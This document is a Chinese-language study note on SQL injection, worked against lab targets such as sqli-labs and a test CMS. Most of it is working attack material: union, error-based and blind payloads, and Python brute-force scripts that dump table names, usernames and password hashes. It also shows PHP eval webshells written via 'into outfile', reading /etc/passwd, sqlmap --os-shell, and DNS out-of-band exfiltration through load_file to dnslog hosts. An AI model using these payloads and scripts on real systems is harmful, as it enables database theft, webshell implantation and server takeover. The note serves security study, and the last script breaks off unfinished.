sql注入学习笔记

news2024/11/27 0:39:42

sql注入原理

  • 掌握sql注入漏洞的原理
  • 掌握sql注入漏洞的分类

万能用户名

777' or 1=1 #

原句

select userid from cms_users where username = '".$username."' and password='".md5 ( $password ) ."'

输入过后为

select userid from cms_users where username = 'admin' and password='md5字符串'

万能语句输入后

select userid from cms_users where username = '777' or 1=1 # and password='md5字符串'

发现后面被注释掉

也即

select userid from cms_users where username = '777' or 1=1

此处1=1为恒真

登录逻辑

  • 通过post方式获取用户名和密码;
  • 构造sql语句以用户名和密码作为查询条件进行查询,并且 单引号闭合;
  • 如果sql语句正确执行并且结果集对象中有记录提示登录成功;
  • 否则登录失败

sql注入总结

sql注入原理

SQL 注入的攻击行为可以描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

  • 程序员在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。
  • 未对用户可控参数进行足够的过滤,便将参数内容拼接到 SQL 语句中

sql注入危害

​ 攻击者可以利用 SOL 注入漏洞,可以获取数据库中的多种信息,例如,后台管理员账密,从而脱取数据库中的内容 (脱库)。

​ 在特别的情况下还可以插入内容到数据库、删除数据库中的内容或者修改数据库内容。
​ 如果数据库权限分配存在问题,或者数据库本身存在缺陷,攻击者可以利用 SOL 注入漏洞直接获取 WebshelL 或者服务器权限。

sql注入分类

两大基本类型五大基本手法提交参数方式注入点的位置
数字型
字符型
联合查询
报错注入
布尔盲注
延时注入
堆叠查询
GET注入
POST注入
Cookie注入
HTTP头部注入
URL注入
搜索框注入
留言板注入
登录框注入

sql注入漏洞挖掘

  • sql注入可能存在的位置
  • 如何确定sql注入漏洞存在性?

注入点判断

会在疑似注入点的地方或者参数后面尝试提交数据,从而进行判断是否存在sql注入漏洞

步骤测试数据测试判断
1-1 或 +1是否能够回显上一下或者下一个页面(判断是否有回显)
2‘或“是否显示数据库的错误信息;根据回显内容可以判断是字符型数据还是数字型
3and 1=1
and 1=2
回显的页面是否不同(布尔类型的状态)
4and sleep(5)判断页面的返回时间
5\判断转义

主要关注的问题

主要关注的问题解释
回显数据库的内容是否会回显在网页中
数据库报错数据库报错信息是否会回显在网页中。
提交的数据是字符型还是数字型,如果是字符型数据,闭合方式是什么
布尔类型状态显示的页面不同,形成对比。
页面正常或者不正常
延时让数据库沉睡响应的秒数

其它知识补充

mysql数据库中的注释

mysql中的注释url中的表现
减减空格(三个字符)--[] –+
井号#%23
内联注释/*!5000 Order*/

sql注入基本手法

联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用 union select 语句,该语句会同时执行两条 select 语句,实现跨库、跨表查询。

必要条件

  • 两条 select 语句查询结果具有相同列数

  • 对应的列数据类型相同 (特殊情况下,条件被放松)

目标分析(cms为例)

正常访问
http://10.4.7.128/cms/show.php?id=33

image-20231106113614516

添加单引号
http://10.4.7.128/cms/show.php?id=33'

image-20231106113755401

判断列数
http://10.4.7.128/cms/show.php?id=33 order by 1
正常
http://10.4.7.128/cms/show.php?id=33 order by 15 正常
http://10.4.7.128/cms/show.php?id=33 order by 16 不正常

image-20231106114039127

image-20231106114052210

即判断该select语句中有15列

判断显示位置
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

http://10.4.7.128/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

image-20231106114457095

将前面查询置为假,只看后面的查询结果

此处回显位位3,11

更改回显位为mysql内置函数可以看到信息

image-20231106115027718

查看所有表名

直接查询不知道的表,会报错表不存在

image-20231106115350661

数据库中information_schema.tables这张表里存放了所有表名

因此从这张表查询

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables

有回显位

将回显位改为count(*),table_name

count(*)为数有几个

table_name为查看表名

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,table_name,12,13,14,15 from information_schema.tables

此处报不合法

image-20231106115758601

需要将table_name转义成16进制

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(table_name),12,13,14,15 from information_schema.tables

image-20231106115837234

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(table_name)),12,13,14,15 from information_schema.tables

使用group_concat包裹表名,即可一次性获取所有表名

然后hex解码就可以看到表名了

image-20231106140135039

查看列名
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'

image-20231106174853971

image-20231106174840368

查看用户
http://10.4.7.128/cms/show.php?id=-33 union select 1,2,count(*),4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users limit 0,1

http://10.4.7.128/cms/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users limit 1,1

image-20231106175203907

image-20231106175350863

得到用户账密信息

报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部

分。

group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)
http://10.4.7.128/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+

http://10.4.7.128/cms/show.php?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit 0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a) --+

image-20231106201447714

查询账密的时候只需要更换这两位的值即可

image-20231106202526374

extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))
查库
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e)) --+

image-20231106203323755

查表
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select table_name from information_schema.tables where table_schema=database() limit 7,1),0x5e)) --+

加limit可以一条一条列出结果,7,1即为cms_users

image-20231106203806052

查列
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),0x5e)) --+

image-20231106204459689

1和2即为用户名和密码的列名

查数据
http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e)) --+

http://10.4.7.128/cms/show.php?id=33 and extractvalue(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e)) --+

image-20231106204701781

image-20231106204737268

updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)
查库
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+

image-20231106204902830

查表
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select table_name from information_schema.tables where table_schema= database() limit 7,1),0x5e),1) --+

image-20231106205044518

查列
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select column_name from information_schema.columns where table_schema= database() and table_name='cms_users' limit 1,1),0x5e),1) --+

image-20231106205208985

查数据
http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select password from cms_users limit 0,1),0x5e),1) --+

http://10.4.7.128/cms/show.php?id=33 and updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1) --+

image-20231106205326854

image-20231106205351984

布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

库名爆破

/Less-8/?id=2' and database()='xxx' --+
# 不知道数据库名有多少位
# 不知道数据库名的字符集合
# 爆破成本很高

库名长度

/Less-8/?id=2' and length(database())=8 --+
# 页面正常,说明数据库名字的长度是8

判断长度大于10时,无回显

image-20231106215222885

小于10时,页面正常

image-20231106215251705

最终找到长度为8

image-20231106215329872

按位测试

# 第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e
# 第三位
...

截取第一个字符,然后将其转换为ASCII码,判断长度

如图大于120无回显,则小于120

image-20231106215651596

大于110,网页正常

image-20231106215736431

最终找到对应值115,对照ascii码即为s

image-20231106215801115

爆库代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(1,4):
    for num1 in str:
        url=f"http://10.4.7.128/cms/show.php?id=33%20and%20substr(database(),{i},1)='{num1}'%20--+"
        res=requests.get(url=url)
        if res.headers["Content-Length"]=="5263":
            database_name=database_name+f"{num1}"
            break
print(database_name)

表名爆破

http://10.4.7.128/cms/show.php?id=33 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97  --+

image-20231107105448651

image-20231107105549996

可以得到第一位即为99,对应ascii码 c

爆表代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(1,8):
    table_name=""
    for j in range(1,12):
        for num1 in str:
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1)='{num1}'  --+"
            # url=f"http://10.4.7.128/cms/show.php?id=33%20and%20substr(database(),{i},1)='{num1}'%20--+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                table_name=table_name+f"{num1}"
                break
    print(table_name)

image-20231107115133126

列名爆破

http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit 1,1),1,1)='u' --+

image-20231107112440340

数据爆破

http://10.4.7.128/cms/show.php?id=33 and substr((select username from cms_users limit 1,1),1,1)='a' --+

image-20231107112647364

爆数据代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

for i in range(0,3):
    username_name=""
    for j in range(1,9):
        for num1 in str:
            # url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{num1}' --+"
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select username from cms_users limit {i},1),{j},1)='{num1}' --+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                username_name=username_name+f"{num1}"
                break
    print(username_name)

for x in range(0,3):
    passwd=""
    for y in range(1,33):
        for num2 in str:
            # url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select column_name from information_schema.columns where table_schema=database() and table_name='cms_users' limit {i},1),{j},1)='{num1}' --+"
            url=f"http://10.4.7.128/cms/show.php?id=33 and substr((select password from cms_users limit {x},1),{y},1)='{num2}' --+"
            res=requests.get(url=url)
            if res.headers["Content-Length"]=="5263":
                passwd=passwd+f"{num2}"
                break
    print(passwd)

延时注入

利用sleep() 语句的延时性,以时间线作为判断条件

http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(1=2,sleep(5),1) --+

数据库名字长度

/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时

数据库名字

/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+
# 115 101 99
# s e c

爆库代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(0,10):
    for num1 in str:
        url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr(database(),{i},1)='{num1}',sleep(1),1) --+"
        try:
            res=requests.get(url=url,timeout=1)
        except requests.exceptions.ReadTimeout:
            database_name=database_name+f"{num1}"
            break
print(database_name)

爆表代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,4):
    table_name=""
    for j in range(1,9):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                table_name=table_name+f"{num1}"
                break
    print(table_name)

爆列代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,4):
    column_name=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                column_name=column_name+f"{num1}"
                break
    print(column_name)

爆数据代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'

str=[]
for i in strings:
    str.append(i)


for i in range(0,15):
    name=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select username from users limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                name=name+f"{num1}"
                break
    print(name)

for i in range(0,15):
    passwd=""
    for j in range(1,10):
        for num1 in str:
            url=f"http://10.4.7.128/sqli-labs/Less-9/?id=2' and if(substr((select password from users limit {i},1),{j},1)='{num1}',sleep(1),1) --+"
            try:
                res=requests.get(url=url,timeout=1)
            except requests.exceptions.ReadTimeout:
                passwd=passwd+f"{num1}"
                break
    print(passwd)

堆叠注入

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

以sqli-labs 第38 关为例子

?id=2';update users set password='123456'--+

此处没有查询成功,只能用into写入文件可以查询到内容

sql注入其它情况

  • 掌握宽字节注入原理与利用方法

  • 掌握HTTP 头部注入的场景

宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。宽字节注入的目的是绕过单双引号转义,以sqli-labs-32 关为例子

?id=1
?id=1'
1\' 服务器会把单引号转义,单引号由原来的定义字符串的特殊字符被转义为普通字符。
315c27 非常强烈的暗示

单引号注入时显示正常,但是底下有提示

image-20231107170052811

function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a
backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a
backslash
return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
  • 单双引号被转义,没有其他过滤;

  • 将与数据库交互的数据字符编码设置为了GBK

%df即为让df和反斜线的gbk编码识别在一起,然后让单引号正常使用不被转义

http://10.4.7.128/sqli-labs/Less-32/?id=1%df' and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
cb5c 薥
?id=1%cb'
1%df\'
31cb5c27
1薥' # “吃”掉了转义字符\
/Less-32/?id=1%cb' and 1=2 union select 1,database(),3 --+

image-20231107172136216

gbk编码

GBK 汉字编码方案,双字节编码,两个字节作为一个汉字。GBK 编码范围[8140,FEFE],可以通过汉字字符集编码查询。注意到5C 在GBK 编码

的低位范围之内[40,FE]。在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字

image-20231107172425786

http头部注入

SQL 注入点不止会出现在GET 参数或POST 参数中

cookie注入

注入点在Cookie 数据中,以sqli-labs-20 关为例子

GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-20/
DNT: 1
Connection: close
Cookie: uname=Dumb' and 1=2 union select 1,version(),database() #
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


image-20231107174731956

base64注入

注入的参数需要进行base64 编码,以sqli-labs-22 关为例子

GET /sqli-labs/Less-22/index.php HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.4.7.128/sqli-labs/Less-22/
DNT: 1
Connection: close
Cookie: uname=RHVtYiIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSx2ZXJzaW9uKCksZGF0YWJhc2UoKSM=
Upgrade-Insecure-Requests: 1


image-20231107175615350

image-20231107175552874

user-agent注入

注入的参数在User-Agent 中,以sqli-labs-18 关为例子

POST /sqli-labs/Less-18/ HTTP/1.1
Host: 10.4.7.128
User-Agent: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.4.7.128
DNT: 1
Connection: close
Referer: http://10.4.7.128/sqli-labs/Less-18/
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit


image-20231107202506039

referer注入

注入参数在Referer 字段中,以sqli-labs-19 关为例子

POST /sqli-labs/Less-19/ HTTP/1.1
Host: 10.4.7.128
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: http://10.4.7.128
DNT: 1
Connection: close
Referer: AJEST' and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1
Upgrade-Insecure-Requests: 1
uname=Dumb&passwd=Dumb&submit=Submit


image-20231107203317620

sql注入读写文件

  • 掌握SQL 注入读写文件的原理

  • 掌握SQL 注入读写文件的方法

前提条件

权限问题

当前(连接)数据库的用户具有文件读写权限。数据库的权限粒度,某个库中某个表某个用户是否有增删改查权限。

MySQL 数据库用户,例如root@localhost,由两部分组成:

  • 用户名

  • 地址

# root@localhost
and 1=2 union select 1,file_priv,3 from mysql.user where user='root' and host='localhost'
http://10.4.7.128/sqli-labs/Less-1/?id=-1' union select 1,2,user() --+

http://10.4.7.128/sqli-labs/Less-1/?id=-1' union select 1,2,file_priv from mysql.user where user='root' and host='localhost' --+

image-20231107204347060

文件路径

已知读写目标文件的绝对路径。

/var/www/
/var/www/html/
c:/phpstudy/www/
c:/xampp/htdocs/
...

安全选项

MySQL 数据库有关于文件读写的安全选项secure_file_priv。

secure_file_priv 参数限制了mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改my.ini 配置文件,并重启mysql 数据库

image-20231107204819167

show global variables like '%secure_file_priv%';
参数含义
secure_file_priv=NULL限制mysqld 不允许导入导出操作
secure_file_priv=‘c:/a/’会限制mysqld 的导入导出操作在某个固定目录下,并且子目录有效
secure_file_priv=不对mysqld 的导入导出操作做限制

读写文件

读取文件

使用load_file() 函数

and 1=2 union select 1,load_file("c:\\windows\\system32\\drivers\\etc\\hosts"),3
and 1=2 union select 1,load_file("c:/windows/system32/drivers/etc/hosts"),3
and 1=2 union select 1,load_file("/etc/passwd"),3

image-20231107205014388

写入文件

使用into outfile 语句

and 1=2 union select 1,2,3 into outfile "c:/phpstudy_2016/www/1.php" 
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "c:/phpstudy_2016/www/2.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/var/www/html/1.php"
and 1=2 union select 1,"<?php @eval($_REQUEST[777]);phpinfo()?>",3 into outfile "/tmp/1.php"

Linux 系统下,一般情况下权限较低,无法写入文件

mysql上传文件蚁剑连接
http://10.4.7.128/sqli-labs/Less-1/?id=-1' union select 1,2,"<?php @eval($_REQUEST[999]);?>" into outfile "c:\\phpstudy_2016\\WWW\\999.php"  --+

image-20231107205815789

image-20231107205840686

http://10.4.7.128/999.php?999=phpinfo();

image-20231107205906535

image-20231107205945034

image-20231107210006073

sql注入工具

sqlmap

SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中

安装与更新

sudo apt-get update
sudo apt-get install sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git
git fetch
git pull

参数速查

参数含义
-u检测注入点
–dbs列出所有的库名
–current-user当前连接数据库用户的名字
–current-db当前数据库的名字
-D “cms”指定目标数据库为cms
–tables列出数据库中所有的表名
-T “cms_users”指定目标表名为’cms_users’
–columns列出所有的字段名
-C ‘username,password’指定目标字段
–dump列出字段内容
-r从文件中读取HTTP 请求
–os-shell在特定情况下,可以直接获得目标系统Shell
–level 3设置sqlmap 检测等级 3
–cookie=“username=admin”携带Cookie 信息进行注入
-g利用google 搜索引擎自动搜索注入点
–batch使用默认选项
–random-agent使用随机User-Agent 信息
-v 3显示payload

sqlmap实战

利用sqlmap 注入得到cms 网站管理员账密

注入点:http://10.10.10.6/cms/show.php?id=33
sqlmap -u "http://10.10.10.1/show.php?id=33"
sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs 
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables 
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| ajest | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+

image-20231107212656946

post注入

sqlmap -r /tmp/login.post

getshell

  • 受到secure_file_priv 选项的限制;

  • 目标系统Web 根目录的绝对路径;

  • 目录权限。

sqlmap -u "http://192.168.16.119/show.php?id=33" --os-shell

sql注入漏洞防御

  • 避免采用拼接的方式构造SQL 语句,可以采用预编译等技术;

  • 对进入SQL 语句的参数进行足够过滤。

  • 部署安全设备比如WAF。

  • 现行很多开发框架,基本上已经从技术上,解决SQL 注入问题

扩展1-metinfo_5.0.4 sql注入

复现

http://10.4.7.128/metinfo_5.0.4/about/show.php?lang=cn&id=22 and length(database())=11 --+

image-20231107214916581

得到库名长11

爆库代码

import string
import requests

strings=string.digits+string.ascii_letters+'_'
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
    
}
flag="13300000000"
str=[]
for i in strings:
    str.append(i)

database_name=""
for i in range(1,10):
    for num1 in str:
        url=f"http://10.4.7.128/metinfo_5.0.4/about/show.php?lang=cn&id=22%20and%20ascii(substr(database(),{i},1))={ord(num1)}%20--+"
        res=requests.get(url=url,headers=headers)
        if flag in res.text:
            database_name=database_name+f"{num1}"
            break
print(database_name)

完整半自动化脚本

import string
import requests
import sys
import binascii

url="http://10.4.7.164/metinfo_5.0.4/about/show.php?lang=cn&id=22"
flag="13300000000"
headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0"
}

strings=string.digits+string.ascii_letters+'_'
str=[]
for i in strings:
    str.append(i)

# database-length---------------------------------------------------
def get_database_length(url):
    database_length=""
    for i in range(1,100):
        payload1=f" and length(database())={i} --+"
        url_full=url+payload1
        # print(url_full)
        res=requests.get(url=url_full,headers=headers)
        if flag in res.text:
            database_length=i
            break
    return database_length
database_length=get_database_length(url)
print(f"[+]database_length is:{database_length}")

# database-content---------------------------------------------------
def get_current_database_name(database_length):
    current_database_name=""
    for i in range(1,database_length+1):
        for num1 in str:
            payload2=f" and ascii(substr(database(),{i},1))={ord(num1)} --+"
            url_full=url+payload2
            res=requests.get(url=url_full,headers=headers)
            if flag in res.text:
                current_database_name+=num1
                # print(current_database_name)
                break
    return current_database_name
current_database_name=get_current_database_name(database_length)
print(f"[+]current_database_name is:{current_database_name}")

# table-name---------------------------------------------------
def get_table_name():
    for i in range(0,100):
        flag1=0
        table_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num2 in str:
                payload2=f" and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit {i},1),{j},1))={ord(num2)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    # table_name+=num2
                    # print(table_name)
                    print(num2,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("table_name is:=========================")
get_table_name()
            
#column-name---------------------------------------------------

def get_column_name():
    
    # print(choice2)
    for i in range(0,100):
        flag1=0
        column_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num3 in str:
                
                # payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65 limit {i},1),{j},1))={ord(num3)} --+"
                payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name={choice2} limit {i},1),{j},1))={ord(num3)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    print(num3,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("column_name is:==========================================================")
choice1=input("plz in put table_name which u want to select:")
choice2 = "0x" + binascii.hexlify(choice1.encode()).decode()
get_column_name()
# data-content---------------------------------------------------
def get_data():
    for i in range(0,100):
        flag1=0
        column_name=""
        print(f"[{i+1}]",end="")
        for j in range(1,100):
            flag2=0
            for num3 in str:
                
                # payload2=f" and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=0x6d65745f61646d696e5f7461626c65 limit {i},1),{j},1))={ord(num3)} --+"
                payload2=f" and ascii(substr((select {choice3} from {choice1} limit {i},1),{j},1))={ord(num3)} --+"
                url_full=url+payload2
                # print(url_full)
                res=requests.get(url=url_full,headers=headers)
                if flag in res.text:
                    print(num3,end="")
                    flag1=1
                    flag2=1
                    break
                
            if flag2==0:
                break 
        if flag1==0:
            break
        print()
print("data-content is:=======================================================")
choice3=input("plz in put column_name which u want to select:")
get_data()

扩展2-安全狗绕过

同下文bypass

扩展3-ctf平台

ctfhub

sqli进阶

OOB注入

​ 带外通道技术(Out of Band,OOB)让攻击者能够通过另一种方式来确认和利用没有直接回显的漏洞。这一类漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP、UDP、ICMP 请求,然后,攻击者可以通过这个请求来提取数据。

关键点:

  • 无回显

  • DNS 带外

DNSLog平台

  • http://dnslog.cn/

  • http://ceye.io/

  • https://dig.pm/

延时注入

POC:

select load_file("\\\\ajest.vjrfyc.ceye.io\\ajest");

以 /sqli-labs/Less-9/ 为例

?id=2' and 1=1 union select 
1,2,load_file("\\\\ajest.vjrfyc.ceye.io\\ajest") --+
?id=2' and 1=1 union select
1,2,load_file(concat("\\\\",database(),".vjrfyc.ceye.io\\ajest")) --+

image-20231108211040736

http://10.4.7.164/sqli-labs/Less-9/?id=1' and 1=1 union select 1,2,load_file(concat("\\\\",database(),".w0g6to.dnslog.cn\\order")) --+

image-20231108211453610

sqli exp

​ 在渗透测试的过程中,为了提高效率,通常需要编写一些小工具,把一系列机械性的手法自动化实现,如 SQL 注入中的盲注。

区分四个概念:

  • POC:针对某一个(类)漏洞的验证代码,主要用来验证漏洞的存在性。

  • EXP:针对某一个漏洞的完整利用程序,除了验证漏洞的存在性,还能相对完美利用漏洞。

  • Payload:

  • ShellCode:

​ 拥有编写好的 EXP,再次遇到相同的或相似的目标环境和漏洞,仅需要进行简单的修改就可以直接进行漏洞检查了,大大提高了便利性和效率

利用 Python 脚本跑盲注

布尔盲注

以 sqli-labs/Less-8/ 例

# sqli-labs_08_sqli-blind-bool-based-sigle-quotes.py
'''
?id=1' and 1=1 --+
?id=1' and 1=2 --+
You are in.....
'''
import requests
import string
url= "http://10.4.7.130/sqli-labs/Less-8/"
headers= {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 
Safari/537.36"
}
c_set= string.printable.strip()
# print(c_set)
# 获取内容长度
def get_content_len(url):
for i in range(1, 100):
# payload= f"?id=1' and length(database())={i} -- AJEST"
payload= f"?id=1' and length(version())={i} -- AJEST"
full_url= url+ payload

# print(full_url)

res= requests.get(url= full_url, headers= headers)

